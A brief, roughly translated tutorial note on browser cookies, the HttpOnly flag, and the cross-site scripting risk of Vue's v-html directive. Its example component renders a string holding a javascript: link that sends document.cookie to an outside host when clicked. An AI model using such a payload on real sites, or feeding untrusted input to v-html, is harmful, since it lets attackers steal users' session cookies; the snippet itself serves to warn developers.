What are cookies and the security risks of v-htm

What is? cookie？ Server returned key-value String of form , Then saved by the browser

Only HttpOnly Unchecked , Can be js obtain ;HttpOnly It is set at the back end

v-htm Hidden danger of safety

<template>
  <div class="profile">
    <div v-html="str"></div>
  </div>
</template>

<script>
export default {
    
  data() {
    
    return {
    
      str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie> I have a surprise ！</a>'
    }
  },
}
</script>